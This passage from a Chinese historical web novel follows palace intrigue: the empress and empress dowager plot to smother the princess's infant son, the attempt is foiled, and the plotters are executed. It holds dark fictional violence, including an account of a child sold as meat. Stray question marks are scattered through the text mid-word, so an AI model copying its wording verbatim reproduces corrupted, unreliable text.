她下意识问:“小?嘉眼下,该有九个月了吧……” “六月底的生日?,都快十个月了。” “时间过得可真?快,转眼就要一岁了,还从没听说他生什么病。” 皇后道:“公主?府照顾的人那么多,能生什么病?现在还有人说昨天?的白鹤都是为他来的,说他是天?命之人,儿媳觉得,再?怎么天?命,也比上太后和皇上,太后想让谁有天?命谁就有天?命,想让谁没有,那就没有。” 太后怔怔看向她,似乎有些明白她的意思了,但并不确定。 她继续道:“太后怜惜公主?,哪怕心中有疑虑也不会对公主?怎么样,这是太后仁慈,但对于小?嘉,太后就不可太仁慈了,那可是高盛的儿子,必然?也是长了一身反骨。” “你是说……” “儿媳的意思,是让小?嘉夭折,这样公主?没了另一份指望,会一心一意替皇上分忧;高盛也不会徒生野心,也会安安心心继续打仗。” 太后心惊,犹疑不定:“小?嘉还那么小?,真?有必要?” 皇后急道:“当然?有必要,等他大了,公主?的心就变了,高盛的野心也就更大了,还不如趁此时公主?没有防备,高盛不在京城,尽快动手。” 太后这辈子没做过过分的事,听到?这话,十分惊惧。 但这事关系到?皇上,经历过那么多次京城动乱,她知道这里面的斗争多可怕,如高盛卢慈那些人,谁都敢杀。 “万一此事被妤儿知道……”太后还在担心 皇后道:“母后温善,公主?不会怀疑母后的,再?说就算知道了,她还能拿母后怎么样?母后忘了,这辅政之权原本是母后的,当初说的是,太后身体欠佳,由公主?代为辅政,公主?的权力,是母后给?的。” 太后点点头。的确如此,从古至今,没有公主?辅政的道理,只?有太后,若是她要辅政,那就没司妤什么事。 她想得透彻了,却迟迟下不了决心。后来得知皇上过来,两人便没说这话了,倒是皇上看出两人有心事,主?动问是什么事。 太后叹了声气,欲言又止,又见皇后朝她轻轻摇头,她便回?:“没什么事。” 随后又问:“听说昨天?公主?府上方飞来一群白鹤,盘旋一个下午才离去。” 皇上一听就知道是皇后和母后提及的,其实一早皇后也和他提过,说的自然?是小?嘉不可不防的事。 皇上也知道母亲也担心这事,刚才自己没来,她们多半就是在说这。 可就是有这事又能怎么办呢? 他很?怕皇后逼他想办法?,他觉得头疼,就假装不懂,随意道:“听说了,还怪有意思的。” 太后回?答:“也不知是巧合呢,还是真?有什么天?意。” 皇上不吭声。 此事就这么搁置下了,直到?入夜,太后做了个梦,梦见自己和儿子跪在地上,上面是未央宫的龙椅,一个长得像高盛的小?孩子坐在上面笑。 她被吓醒了,陡然?睁眼,发现自己躺在长乐宫的床上。 还好,只?是梦。 她坐起来,看着黑夜中的宫殿。 她一向知道自己懦弱,这一刻体会最深。 为何不能狠一回?呢?为了皇上,也为了自己。杀了那个孩子,神不知鬼不觉,永绝后患。 她可是太后,何必如此犹犹豫豫,谨小?慎微? 她本该更大胆一些,更杀伐果断一些。 于是这一刻她决定,听从儿媳的建议,杀了小?嘉。 第二日?她与皇后商议,事情也很?容易安排,因为她是太后:司妤身边照顾小?嘉的人她大概知道,都是之前宫里的老人,因为宫里人靠得住,有一个嬷嬷还是侍候过她的。 她决定找这嬷嬷帮她做事。 手法?也很?简单,毕竟小?嘉只?是个婴儿,身边总有没人的时候,只?要趁他熟睡,身边没人,用东西?捂死就行了——之前宫中有个妃子的孩子就是这么死的,大人没注意,让旁边的被子掉下来,压在孩子头上,将孩子闷死了。 皇后似乎在心里谋划了无数次,对此比太后还有规划一些,如何与嬷嬷见面,如何威逼利诱嬷嬷照做,甚至还周到?准备了一包砒霜,说让那嬷嬷随身带着,如有不对,就自行了断,这样太后会善待她的家?人;若是说出太后,则会死无葬身之地。 第66章 第 66 章 有皇后的出谋献策, 事情推进得很快。 就在太后计划着此事时,昌乐来?了,哀声叹气像个怨妇, 又是为?宋之洵。 太后为?小嘉的事忧虑不已, 此时听说她又是为?宋之洵,不禁有些不耐烦, 却又疼惜她,只?能耐着性?子?问:“你去找过你姐姐没?她怎么说?” “她还是让我死了这条心……但我知?道,王小桃不准备认他?,我就想, 怎么不能努力一下……” 太后道:“她大概有她的打?算……” “说不定是她自己还喜欢他?,我听说现在外?面?都那样传。”昌乐说。 太后叹息, 不出声。 昌乐道:“上次皇上召他?进宫, 也不告诉我, 要不然,母后您再召他?进宫, 我也在这里,让我和?他?见一见。” 太后现在一心谋划大事, 可不想节外?生枝,回她:“等以后吧。” “为?何不能现在?” 太后神情焦躁,“不能就是不能, 你不看看,母后也烦着, 你这心里就永远只?有一个宋之洵么?就没点别的?你姐姐、皇后, 她们可都比你懂事、比你上心, 也就你和?皇上……”说完又叹了声气。 昌乐没想到被数落一通,心中十分?委屈, 却也看出太后心中有事,便问:“那母后在烦什么?” 太后想说,却又将话咽下了,其实她很忧心,很焦躁,也想找人诉说,但儿子?儿子?不上心,女儿呢,也一副长?不大的样子?,她没办法说。 最后她只?道:“算了,说了你也不懂,等你弟弟的皇位没了,你又还能去哪里哭哭啼啼!” 昌乐一惊:“弟弟的皇位怎么会没有呢?难道……又出了什么事吗?” 经历过旧都那些事,她一听这话就担心。 太后不说,昌乐想了想,最近好像一切平静,便宽慰太后:“母后,有姐姐在呢,没事的。” 太后一阵冷笑:“你去和?你姐姐提宋之洵的事,她不也没理吗?” 昌乐被戳中伤心事,又流起泪来?:“我说让母后召宋之洵进宫,母后也不理。” “再缓缓吧,等忙过了这阵。”太后敷衍道,脸上露出几分?不悦。 昌乐再次绝望,母后与姐姐都嫌自己烦,而?她呢,自己都嫌自己不是清白身,怕也惹宋之洵嫌弃,一时心中忧恸,又哭起来?。 太后也不再劝了,她自有自己的烦心事,只?能起身坐到她身旁,抱着她,向她宽慰道:“别急,再等两日,等两日后,母后帮你召他?进宫。” 昌乐依偎在母亲怀里哭,哭着哭着,却也累了,太后就让她在榻上睡下,给她盖了张毛毯,自己踱步到外?间,静静看着屋中陈设发呆。 没一会儿,身边嬷嬷过来?,悄声报:“太后,黄嬷嬷来?了。” 太后心喜,立刻召见。 这黄嬷嬷之前跟在太后身边,后来?司妤新建了公主府,又有了孩子?,身边需要靠得住的人,就找太后,太后将黄嬷嬷送过去了。 黄嬷嬷在公主府的时间不长?,并没有很深的主仆情谊,现在听闻太后安排事,便有心效忠,但一听要做的事就怕了,不敢听从宫中所派之人的命令,要面?见太后才肯做。 如今进宫来?,太后就关起宫门和?她详谈此事,确定正是自己的命令。 黄嬷嬷的确是个能干的人,此时却也有些紧张颤抖,跪下道:“太后对奴婢有大恩,太后之令,奴婢自会去做,只?是奴婢在宫外?还有一位姑姑,是她养大的奴婢,奴婢总幻想着出宫了去替她养老,如今……只?盼奴婢若有事,太后能让人照顾奴婢那可怜的姑姑。” 太后道:“我既答应了你,一定会做到,再说你将事情做得隐蔽,也不一定能怪到你头?上。” 黄嬷嬷沉默,她的确不是主要照顾小公子?的人,但小公子?真有了意外?,自己又怎敢妄想活命? 太后将一个小纸包拿出来?,递给她。 “如有意外?,你就服下这药,要不然,哀家也不一定能照顾你姑姑。”太后说。 她这样一说,黄嬷嬷就知?道这是什么了,哆嗦着手去将药包接住。 随后道:“每日午时,小公子?会午休,那奶娘托大,也会午休,那时屋里会保持安静,不会有人,只?是奴婢有时会收衣服进去……明日午时,奴婢就动手。” “好了,你去吧,你是我信得过的人,此番,无论是哀家与皇上的前程,还是这司家的江山,便都在你手中了。”太后道。 黄嬷嬷万没想到有一天自己竟会承担如此大的责任,她平时也就是帮小公子清洗、整理衣物,既没带过小公子?,也没抱过小公子?,但总会看到,说要去亲手捂死他?,觉得心惊胆战,但说他将来会篡皇上的位,又觉得此事值得。 黄嬷嬷走后,太后才想起屋内还睡着昌乐。 她进里间去,果然就见昌乐不知何时已经坐在榻上,惊诧地看着她。 “母后你……你要派人去杀小嘉?为什么?”昌乐睡得并不深,黄嬷嬷一来?就将她吵醒了,原本有些烦躁,待听到她和太后的对话,几乎惊呆,疑心自己听错了。 太后道:“这事你不用管,就当不知?道。” “可我现在知?道了呀,母后你为?什么这样?”昌乐不能接受。 太后依然不愿说,昌乐道:“母后你不说,我就去告诉皇上,告诉姐姐!” 太后立刻道:“你闭嘴!你……” 她无奈道:“还不是为?了皇上,为?了你们!” “为?什么是为?了我们?”昌乐立刻问。 太后将小嘉要姓司,以及白鹤之事说出来?,“若真让小嘉做了皇帝,你弟弟还能活命吗?咱们呢?” 昌乐道:“可这都是你们猜的呀,姐姐没说要让小嘉做皇帝,一定是皇后撺掇您的,我就知?道她不怀什么好心!” 昌乐从一开始就不喜欢自己的皇后弟媳,总觉得她一副心眼多的样子?。 太后道:“她是为?皇儿着想,你可有什么时候替你弟弟想过,现在倒说起她来?了!” “可是……再怎么说,她怎么能撺掇您去杀小嘉?那也是您外?孙!” 太后自从决定动手,就已在情感上和?小嘉做了切割,此刻倒是毫无压力地平静回道:“他?是高盛的孩子?。” “但他?也是姐姐的孩子?啊,姐姐辛苦怀胎十月生下的孩子?,她要是知?道母后害了她孩子?,该怎么伤心生气!”昌乐急道。 太后不回话,她顾忌不了那么多了,如果不动手,那心惊胆战的就是自己。 昌乐拉住太后:“母后,你别信皇后的话,她才做皇后几天??可姐姐却是您十多年的女儿,你不能信外?人的而?害自己人啊!” 太后叹息着摇头?:“你怎么不懂,你姐姐已不是自己人了,她有了儿子?,不管是哥哥弟弟,谁又比得过亲生儿子??皇后却不同,不管她怎么样,她是向皇上的!” 昌乐此时算是明白,不知?从什么时候起,在母后心里竟更相信皇后,因为?皇上是她们最重要的人。 可是……怎么能去杀小嘉呢?他?们能平安来?到西?昌,在此立都,在此安稳地继续做太后皇上公主,不都是因为?姐姐吗?为?什么母后反而?要去害姐姐? 她不明白,甚至想不通皇后是怎么说服的太后。 “可是,如果姐姐知?道了,那该怎么办?” “你不说我不说,你姐姐不会知?道的,就算她知?道了,也没有办法,她还能杀了我不成??”太后道。 昌乐还想劝:“母后,你再考虑考虑,我觉得不能这样,你让人去交待那黄嬷嬷,叫她先别动手。” 太后严肃起来?:“这事就这么定了,你不要再说,也不要往外?泄露一个字,就当不知?道,以后就算事成?了,也要烂在肚子?里,对谁也不能说。” 昌乐无措地看着太后,不知?道是自己想不通,还是母后疯了。 这事怎么能这么办呢?怎么能杀小嘉呢? 在太后的一再叮嘱中,昌乐答应太后,不对外?泄露一个字。 直到回了自己宫中,这事都依然盘旋在她脑子?里。 她永远不能忘记被屈继先掳走那段时间,她是公主,她是堂堂公主,却只?能当他?无数姬妾中的一个,最开始她挣扎过,反抗过,但他?竟然会打?她。 没有人能救她,没有任何人,她只?能哭,哭完了,将愤怒与屈辱通通忍着,像一个普通妾室一样讨好他?。 要不然呢?冷面?相对,或是反抗无非就是多挨一顿打?,最后还是要受凌辱。 但最后是姐姐救了她,虽然她怕高盛,虽然高盛还曾削了她头?发,但那种怕和?对屈继先的恨不同,在她最无助的时候,母后和?皇上都没办法,是姐姐和?高盛救了她。 但母后竟然要去杀小嘉。 纸包不住火,万一事发,姐姐不再管他?们了,那是不是又会回到安朝烈掌控京师那时候? 后来?昌乐想通了,对母后来?说,一定要弟弟当皇帝。 但对她来?说,其实谁当都一样,弟弟也好,小嘉也好,她都还是公主,都没有人来?折辱她,但如果是外?面?的人,那就不一定了。 一会儿,她想去告诉姐姐,有人要害小嘉;一会儿,她又觉得她不能背叛母后,她和?姐姐只?是姐妹,和?母亲却是亲母女,再怎么样也是母后更亲。 因为?这种挣扎,她整夜未眠,直到天?亮都还没拿定主意。 翌日,隔一会儿她就要问宫女:“现在什么时候了?” 宫女一遍遍回答,她好像是隔个半刻一刻的就会问一下,好像失忆了一样,不知?道自己刚刚才问过。 宫女担心地问:“公主是有事吗?” 昌乐烦得不知?道该怎么样才好。 渐渐的捱到了正午,有消息过来?,说长?公主在章德宫召见。 搬进新皇宫后,司妤上朝会与皇帝一起去未央宫前面?的章台殿,若当天?要召见臣子?,司妤就会去章台殿旁的章德宫,等到下午,就直接回公主府了。 章德宫一般是商议国事,司妤从没在那儿召见过自己,昌乐乍一听有些意外?,甚至猜测是不是姐姐知?道那件事了,让人带她去问话。 但来?通报的只?是个小太监。 她战战兢兢犹犹豫豫地去了,在章德宫见到了司妤,司妤脸上还带着笑,不像是知?道那件事的样子?。 司妤道:“让你来?一趟,怎么这么磨磨蹭蹭?你再晚一点,我就要回去了。” 昌乐脱口而?出:“那姐姐就快回去吧。” 说完她愣了,司妤也愣了。 其实她也不知?道今日怎么就突然想起了昌乐,大概是前两日听她又提宋之洵,自己对她态度不好,语气强硬,到现在想起来?有些愧疚,才想见见她。 随后她问:“你怎么了?最近重修太学,有许多儒生进京来?求学,都是些世家子?弟,我是想和?你说,过几日我会在朝露园设宴款待这些太学生,你要不要一同过去,挑挑看有没有喜欢的?” 昌乐觉得有些感动,之前姐姐说过狠话,说她要么自己找个人嫁了,要么就由姐姐安排,现在却还是来?问她的意思。 见她不出声,司妤不禁严肃起来?:“你若还想着宋之洵,那是冥顽不灵,我们就不用再说了。当然,朝露园宴会宋之洵也会去,到时你可以和?他?见上一面?,亲自听他?拒绝你也行。” 昌乐答非所问:“姐姐什么时候会回府上?” 司妤不知?她为?什么这么问,囫囵回道:“还不知?,想起来?很久没去给母后请安了,大概会去一趟,你要同去么?” 昌乐当然不会随她一起去太后那里,她怕自己完全掩饰不住自己的内心。 她支吾着回:“我……我不去。” “那朝露园盛宴,你可要去?”司妤说完,叹了一声气:“算了,你去吧,里面?有个学子?,相貌不俗,又还未婚配,你说不定会看上。”说完,脸上露出一阵无奈地轻笑。 昌乐这一刻终于确定,不管怎样,姐姐从未伤害过自己,自己能有今天?,全是姐姐托起的;但母后呢,她现在听从皇后的意思,她可不相信皇后,若让皇后作了主,这宫中还不知?会怎样。 她说道:“姐姐快回去一趟吧,去看看小嘉。” 司妤看看天?色:“等我回去他?都睡了,我回去也见不着。” “那也去看看。”昌乐说道。 司妤觉得奇怪:“你怎么了?再说,我还是想去看看母后。” “别去看母后了,再晚就来?不及了,有人要害小嘉。”昌乐立刻道。 司妤猛地一怔,一动不动看着昌乐,随后突然意识什么,头?也不回就往宫外?走。 公主府就在皇宫西?南角,但走过去仍然嫌慢,她快步行至章德宫外?,和?守在外?面?的侍卫道:“你们快回公主府,护好小公子?。”说完想起来?侍卫没怎么去过内院,也不认识里面?的奶娘嬷嬷,她又叫来?马毅:“你去见县君,让她亲自照看小公子?!立刻,马上,小公子?有险,若有意外?,拿你们是问!” 第67章 第 67 章 几名侍卫立刻领命飞奔去了, 她也急忙提了裙子逃命般往家中?跑。 侍卫的?确连小嘉具体在?哪个房间都不?知道,慌忙赶去内院,又遭到?内院侍卫与奶娘这些人的?阻挠, 毕竟他们只有口谕, 没有凭据,谁也不?知道这几人要闯进去做什么。 好在?马毅叫来了小桃, 小桃进去房中?,却见小嘉脸上压着枕头又盖着床厚厚的?被子,他已有了些力气,在?被子里挣扎, 却推不?开,闷闷地发出哭声。 小桃立刻去掀开被子, 将?他牢牢抱在?手?中?。侍卫也依次进来, 拔了刀围在?房内外, 神色紧张,让院中?宫女?嬷嬷们都莫名其妙, 慌了神。 直到?一个神色鬼祟的?身?影被马毅发现,踢倒在?地, 手?中?一包白色粉末洒落。 司妤赶回来时,院中?一派平静,侍卫都持刀守在?院中?, 小桃在?房内,身?边也站在?两名侍卫, 手?里抱着哭着的?小嘉。 见小嘉没事, 她立刻过来接在?手?中?, 见他通红的?脸,连忙问:“他怎么了?” 小桃立刻回:“我来时, 见他被枕头捂着,上面还?压着被子,他在?里面挣扎,我就抱他起来,见他脸都紫了,一直哭到?现在?,我不?敢做别的?,也不?敢让奶娘喂奶,只能抱着。” 司妤再看房中?,奶娘和几位宫女?嬷嬷都被反绑了手?看押着,此时见了她,人人都哭着喊冤枉。 她看着孩子通红的?脸,不?知是哭的?,还?是被憋狠了还?没恢复,心中?既悔又恨,昌乐一开始就让她快回来,她竟浑然?不?觉,又拖了那么久! 她一边吩咐去请医士,一边看向?那几位被押着的?奶娘和宫女?嬷嬷,迅速想着究竟是怎么回事。 这时小桃又说:“黄嬷嬷手?上有一包药,她自己说是砒霜,说是回去药人的?。” 司妤将?那药粉看了一眼,转而看向?黄嬷嬷,黄嬷嬷哭道:“我在?外有个相好,他总缠着我要钱,我这回下了狠心,准备拿砒霜毒死他,我虽狠毒,可实在?没想过要谋害小公子,不?信我说那人的?名字,公主可以去查!” 奶娘也分辩道:“公主将?小公子托付给我,小公子有了事,我第一个逃不?掉,我恨不?得小公子养得白白胖胖的?,怎么会谋害小公子!” 其他人也开始诉冤,每人都是身?家清白,十分可靠的?人,看着似乎都是被冤枉了。 最简单的?做法?,是将?她们所有人都关起来,严加审讯,自然?就有了结果,但那样至少也是晚上才出结果,太耽误事。 司妤想起,为何昌乐会知道小嘉有危险。 而且她不?是一知道马上来告诉她,她在?犹豫,如果不?是自己突然?召见她,兴许她还?不?会说。 为什么她会犹豫?因为这件事干系重大? 对,小嘉只是个小孩子,背后之人一定是冲着她和高盛来的?,那除了朝臣就是宫中?之人,如果是朝臣,昌乐不?一定会知道,知道也一定会第一时间告诉她,除非……是宫里的?人,是宫里昌乐在?乎的?人…… 心中?不?敢相信,但最大的?可能摆在?眼前,她看向?黄嬷嬷:“黄嬷嬷,你的?砒霜……会不?会是用来自尽的??” 黄嬷嬷脸上猛地一阵白。 司妤立刻道:“将?她带下去,请廷尉府的?杨权来,带上最狠的?刑具,半个时辰内让她开口!” 侍卫立刻去办。 黄嬷嬷只是一个普通的?宫中?嬷嬷,顶多做过重活,没承受过任何痛苦,没经历过任何训练,有廷尉府的?审讯高手?来,不?到?一刻就在?恐惧面前招供了一切。 竟是太后。 因为高盛要让小嘉姓司,因为那两次到?达公主府的?白鹤。 司妤从来没想到?,一惯懦弱温吞的?母后,有一天会做这么狠心的?事。 唯一一次狠心,竟是对准的?她,要杀她的?孩子。 司妤很久回不?过神来,她不?明白为什么,十多年母女?,那么多次患难与共,她一心为皇室,也以为母后与皇上明白她一番苦心,谁知道…… 哪怕母后召她过去质问她,哪怕母后说绝不?许小嘉姓司,她都能理解,那是高盛的?意思,她也不?想,可是……母后却直接对小嘉下手?。 为什么那么多次希望母后站出来时她都没站出来,到?了这一刻,竟将?这么狠厉的?手?段对准了她? 司妤痛苦伤心,不?能理解,却又知道此刻不?是伤心的?时候,她想起来昌乐告诉了她,这件事母后会不?会已经知道? 而昌乐知道母后的谋划,皇上呢?他知道吗? 母后为何突然?能知道杀了小嘉就能断绝她与高盛的后路?为何知道让黄嬷嬷在?事情不?对时服毒自尽?为何能如此细致地策划这一切? 她想到?了皇后。 她在?宫中?也有人,并非对宫中?一无所知,宫里的?眼线告诉她,皇后十分孝顺太后,两人非常亲近。 之前她还?觉得心中?宽慰,此时觉得毛骨悚然?。 最怕的?是,皇上、皇后、太后,已是同一战线,要对付她……对,还?有李琚! 想起李琚,司妤立刻就紧张起来,觉得不?能再大意,思虑片刻,一边让人伺候笔墨,写下手?谕,一边叫来两名侍卫,吩咐道:“去找欧阳策,让他即刻派兵前往未央宫和长乐宫,守住两处,不许人进出。” 等侍卫离去,她又叫来赵良:“带人去找李琚,就说让他来一趟公主府,我有要事相商。等李琚进府后,就将?他擒住关押。” 赵良领命离去,她又叫来两人:“带我手?谕去请何禹,让他派绣衣使者埋伏于公主府周围,保护公主府。” 随后又是两名侍卫,将?另一份手?谕交给二人:“去让薛将?军守住城门,严进严出,特别是军队或是貌若军士的?青壮男子,一律严查,不?许进出城门。” 接下来手?谕,是交给在?京城外驻守的?卢慈,除薛迈外,他是她能用的?最大一支军队:“秘令卢将?军速速领军进城,以防不?测。” 最后她叫来小桃与马毅,另有公主府的?侍卫总管。 和他们道:“我马上入宫去,宫中?有要事要处理,你们的?任务是守住公主府,除赵良带回李琚,不?放任何人进来。” 侍卫总管道:“是,属下领命!” 司妤又看向?小桃:“小桃,小嘉就交给你了,也许京中?一切平安,也许会有意外,总之……这是你表叔的?血脉,你护好他。至于马毅,你护好县君。” 小桃此时正抱着小嘉,却不?懂这是怎么了,一边连连应下,一边问:“公主,是有什么事吗?你去宫中?是不?是有危险?” 司妤摇摇头:“我也不?知道。” 她怕的?是,皇后知道事情败露,直接狗急跳墙,而那时皇上与太后不?一定站在?她这边,如果他们决定诛杀她,加上手?上有兵权的?李琚,她可能根本抵挡不?住。 而高盛,远在?千里之外,根本顾不?了京城。她担心自己进宫有去无回,有心给他写点只言片语,却又没有时间了。 和里面人交待完,又仔细思考是否有遗漏,待确定自己只能做到?这一步后,她最后看了小嘉一眼,匆匆离去了。 皇上和皇后都在?未央宫正殿,司妤去时,两人正在?起争执,皇后急赤白脸,似乎正着急,皇上手?上拿着笔,见她来,立刻将?笔放在?了桌上。 那笔是蘸了朱砂的?红笔,用来批注或是签字的?,桌案上放着一张黄色绫锦,上面是已经写好的?圣旨,她看了一眼,正是斥责她独断朝纲,祸乱朝政,欺辱皇上年幼,论罪当诛的?话。 其中?言辞一般,并不?是出自尚书台那些笔杆子之手?,字迹也不?是皇上的?,看着似乎像是女?人的?。 皇后已经拟好了圣旨,要皇上签字盖下玺印了下发。 “皇……皇姐……我没准备签字……”皇上攥着手?,低着头不?敢看她。 司妤问:“那小嘉呢?皇上有参与杀小嘉吗?” 皇上立刻摇头:“朕没有,没有,朕什么都没参与……” “所以,你知道这事?”司妤从他言语中?听出了他没说出来的?话。 皇上不?是个擅长演戏的?人,此时无措地看着她,脸上既愧疚,又惶惑,他不?知该怎么办。 司妤一直都明白弟弟不?是个胸有韬略的?明君,但她想,他听话乖巧,也许能做个守成之君,结果呢? 他只是不?作为,只是什么都依靠别人罢了。 她鼻头发酸,几乎痛心得想哭,但此时此刻,她不?能,她看着皇帝道:“阿琪,你很知道我们这一路走来有多不?容易,别人看到?的?是现在?我手?握重权,你却知道,当初我们有多无助绝望,有多少次几乎要丧命。 “我以为我们拼尽全力,能挽救这江山,我以为我们力量微弱,却比盛世?中?的?姐弟母女?要亲密,却没想到?天下还?未定,杀戮已经开始。最伤我的?,却是我愿用生命保护的?家人。” 皇上被说得无地自容,泪雨婆娑,皇后见状,反驳道:“皇姐,你不?要说得那么冠冕堂皇,也许你当初是为皇上,可现在?呢?你已经有了权力,又怎会轻易放权?你迟迟不?愿让皇上亲政,一个小小的?左中?郎将?也不?愿让出来,更何况你还?要让儿?子姓司呢,这是什么意图,谁人不?知?” “那你想想,为何宗□□没敢将?司嘉的?名字写上皇家族谱?为何到?现在?也只有传言,没人确认他姓司?因为我不?同意。”司妤道。 皇后冷笑:“所以是高盛的?意思了?既然?如此,高盛就是意欲谋反,小嘉是反贼之子,自然?当诛!” 见她毫不?悔改要杀小嘉,司妤不?愿再与她逞口舌之争了,开口道:“来人,将?此女?押下去,褫夺她皇后之位!” 早已候在?宫室外的?侍卫鱼贯进入,要来拿人。 皇后急了,连忙拉住皇上:“皇上救我,救我!” 两人刚成亲不?久,感情也算好,皇上见此也慌了,看向?司妤道:“皇姐,别带皇后下去,她再也不?会了,小嘉……小嘉没事吧?” 司妤知道皇后不?足虑,可她背后还?有个手?握重兵的?李琚,这番谋划也不?一定与他无关,便?不?再耽误,再次下令道:“拿下!” 侍卫去拉皇后,皇后彻底慌了,紧紧抱着皇上道:“皇上救我,我怀孕了,我有了孩子!” 皇上一惊,还?没反应过来,皇后便?已得到?灵感,立刻看向?身?后侍卫道:“放手?,我腹中?怀有龙种,也许就是未来的?太子,你们谁敢动我!” 侍卫毕竟也是人,不?由就松开手?,后退两步,不?再敢动她。 皇后又向?皇帝哭诉:“皇上,我做这一切可都是为了你,你难道要看着你妻儿?被她处死?你可是皇上!她如何狠心对你,又谈什么姐弟之情……” 皇上不?由看向?司妤:“皇姐……就放了她这一回吧,你及时回去了,小嘉一定没事是不?是?既然?没事,这事就算了吧。” 皇后越是会蛊惑人心,司妤越觉得不?可犹豫,因为她手?上有皇上,太后,还?有李琚,而且,若有机会,她一定会让自己死! 司妤再次下令:“她已不?是皇后,将?她押下!” 皇后又拉皇上,皇上护着她道:“不?要,不?许,你们不?许动皇后!” 就在?对峙时,欧阳策带着人在?未央宫外道:“臣欧阳策拜见皇上,公主。” 司妤立刻下令:“欧阳策,拿下皇后!” 欧阳策领命,亲自带人上来,不?由分说将?皇后押下去。 皇后一番挣扎不?过,又是哀求皇上,又是痛斥司妤,欧阳策便?拿出一块布巾,塞住她嘴。 此时皇后衣衫凌乱,钗环掉落,头发也散了一半,又被塞了嘴拖行,哪里还?有国母的?样子,已是阶下囚一般。 皇帝吓住了,失神地看向?司妤:“皇……皇姐……” 明显是还?要求情。 他并没想到?会这样,以他的?认真也并不?知道,态势已经是你死我活,如果司妤不?先行一步,死的?就是司妤自己。 司妤也不?想和他多说了,带着欧阳策离开未央宫。 随后问:“太后那里是否已围住?” 欧阳策道:“已派人换下了那里的?守卫,现在?全是自己人,不?许任何人出入。” “这里也围住,再派人去皇后宫中?,拿下皇后身?边婢女?,关闭宫门,严禁出入。” “是!” 剩下的?就是李琚。 司妤没有出宫去,这里有太后与皇上,她必须镇守在?宫中?,以免生变,但李琚那里她怕赵良控制不?了。 果然?,小半个时辰后,公主府急速来报,赵良带人前去请李琚,李琚谎称更衣,却从后院逃了,直奔京城南门而去。 司妤于是下令绣衣使者与薛迈共同捉拿李琚。 南门出去,就是蓝田,李琚的?部队就驻扎在?那里。 好在?,如无意外,薛迈已成功将?城门关上,李琚逃不?出去。 司妤一直在?宫里待到?了晚上,期间昌乐来找过她,求她放了皇后,不?要如此对太后,司妤没理,将?她也软禁了,自己也没去看一眼太后。 她不?想去,这个时候过去,不?过是吵架罢了,又有什么好吵的?呢? 直到?天黑,宫外传来消息,李琚抓到?了,已押送至廷尉府。 司妤这才松一口气。 廷尉府连夜审李琚,皇后也在?宫中?受审,这一夜司妤就在?宫中?度过,到?天明时,宫内与廷尉府先后将?详细审问记录送过来。 司妤看了,杀小嘉之谋,果然?是李琚先提出来的?,李琚与皇后一直互通着消息,李琚原本是想成为国丈后,与高盛平分秋色的?,但司妤虽给了品级爵位,兵权却始终没放,她仍然?更重用高盛,高盛将?李琚死死压制。 李琚不?甘,又因为小嘉的?出生,让他觉得公主的?心已经偏向?高盛,自己不?能再等。 李琚是指使者,皇后是主谋,太后是被皇后说服,而皇上则是默认。 经审问皇上身?边服侍之人,皇上对此是有感觉的?,但他假装不?知道,没参与,也没阻止。 局面稳定下来,司妤却迷茫了,她不?知接下来该怎么办。 杀了李琚与皇后?那皇上会从此恨上自己吧…… 不?杀?那怎么行,那他们迟早会找机会杀自己。 这个时候高盛也不?在?身?旁……当然?,就算他在?身?旁也没用,他一定要杀无赦。 虚惊一场,好在?无事,司妤上午才回到?公主府,见一眼小嘉,自己去睡了,让人有事就叫自己。 宫中?戒严了三天,皇后父女?也被关押了三天。 此时宫里、京城都在?掌控中?,卢慈也率军到?了城外驻扎,倒不?会出事,只是如何处置二人,司妤一直没有拿定主意。 后来,宋之洵前来觐见。 司妤问起太学清谈,进太学的?都是各地一些有抱负的?年轻才子,这些人往往爱凑在?一起对国事评头论足,而此时,因司妤抓了皇后与李琚,这些太学生又议论起来,司妤也知道,大部分是批评她的?。 宋之洵倒是无所谓:“这些学生年轻气盛,大多是空谈,公主不?用太理会。” 司妤问:“宋卿觉得,我该如何处置皇后?” 宋之洵有片刻的?沉默,司妤本以为他也与太学生看法?一致,要她放人,结果宋之洵却道:“自然?该杀。” “可如此,皇上会恨我。”司妤道。 “人怎能做到?人人都喜爱?只要那个恨公主的?人对公主无可奈何就好了。”宋之洵平静道。 可皇帝怎么会一直对她无可奈何呢?总有一日他会亲政,她会放权……除非,她一直不?放权。 司妤越发吃惊。她与宋之洵是少年时结识,到?如今也算互相知晓过去与底细,她向?他说了心里话:“皇后之所以要对我儿?下杀手?,是因她怀疑我有不?臣之心,可我敢指天发誓,我一心为司家江山,从未有过半分私心,如果我真的?……那岂不?是证明她的?防备是对的??世?人只知我是处心积虑,谁能想到?我是为自保?” “那要看,公主是想由谁来评判。”宋之洵道:“如那些腐儒,那些侃侃而谈的?太学生,他们就会斥责公主,可若是天下百姓呢?” 司妤没明白,宋之洵问:“公主可听说过菜人?” 司妤摇头。 宋之洵道:“臣见过。臣至刑州,亲眼见到?一个十岁上下的?女?孩,一只腿正在?砧板上剁,人躺在?肉铺下哀吟,她父亲将?她以一千文卖给肉铺。” 司妤对世?间惨相认识最深的?只有史?书上的?“岁大饥,人相食”,却从来没想到?竟还?有菜人这样的?事,竟会有人卖女?儿?为肉,竟能有人吃得下去。 “你说是……刑州?”那明明是朝廷已平定的?地方?。 宋之洵道:“不?只是刑州,各地皆有。只有京城,因这两年未有战乱,才稍好一些。那个女?孩,臣将?她买下了,然?后杀了她……将?她葬了。她死时和我说,‘多谢贵人’。” 司妤说不?出话来。 宋之洵道:“那天臣在?坟前站了很久,然?后就来到?了京城,面见公主,自请入朝为官。臣突然?知道了臣要什么,臣要这天下太平,再无菜人。 “公主,江山不?只是司家的?,也是天下百姓的?,那些卖儿?卖女?或是吃不?上饭的?百姓他们不?在?乎谁是皇帝,不?在?乎江山跟谁姓,他们只在?乎谁做皇帝能有饭吃。臣为大兴臣子,但臣愿意迎立小公子为帝,或是公主为帝,或是太尉为帝,无论是谁都好,只求战乱平息,得以男耕女?强,休养生息。” 司妤久久未言。 她之初心,的?确是为司家江山,但眼下,她的?初心已坚持不?下去了,她想了很久,是要名,还?是要命。 但可以预料,她放了皇后,后面必然?有数不?清的?纷争与动荡,她与高盛也不?知怎样和解……如高盛所说,扶小嘉上位,是最能兼顾的?方?式。 江山仍然?姓司,皇家宗亲与朝中?大臣能接受,太尉府那一批人也能接受。 “我明白了。”司妤抬起头来,看着宋之洵赞许道:“宋卿,你很好,不?愧为宋家之后。” 第68章 第 68 章 第二日, 长公主以皇帝名义下旨,斩皇后与李琚,夷三族。 至于皇后所说?的?怀孕, 她没有找人去确认, 也觉得没必要了?。 太后于长乐宫中休养,任何人不可打扰。 卢慈于京郊驻守一个月才离去。 